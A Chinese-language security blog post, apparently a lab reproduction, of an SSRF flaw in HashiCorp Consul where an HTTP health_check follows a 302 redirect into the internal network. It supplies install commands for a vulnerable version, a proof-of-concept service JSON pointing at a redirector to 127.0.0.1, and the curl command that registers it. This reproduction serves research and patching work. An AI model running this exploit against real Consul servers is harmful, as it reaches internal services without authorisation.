- 漏洞类型:SSRF
- 漏洞版本:< 1.9.17,>= 1.10.0, < 1.10.10,>= 1.11.0, < 1.11.5
- 漏洞简介:http类型的health_check被重定向导致的SSRF
consul提供了对于服务的health_check能力。首先安装一个漏洞版本的consul
curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add - sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main" sudo apt-get update && sudo apt-get install consul=1.10.9然后启动一个consul服务器
consul agent -dev -enable-script-checks -node=web -ui访问
http://localhost:8500/
可以看到consul的界面
编写一个
ssrf.json
作为poc,里面标志的http地址会将请求302重定向到127.0.0.1:80
{ "ID": "ssrf", "name": "ssrf", "port": 5001, "check": { "checkid": "ssrf_check", "name": "Check ssrf", "http": "http://fuzz.red/ssrf/127.0.0.1/", "method": "GET", "interval": "10s", "timeout": "1s" } }使用如下指令将
health_check
注册到consul服务器 curl --request PUT --data @ssrf.json http://127.0.0.1:8500/v1/agent/service/register可以看到添加成功
这时consul会主动运行
health_check
,请求被302重定向到内网,导致了SSRF。可以看到nc也收到了请求
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论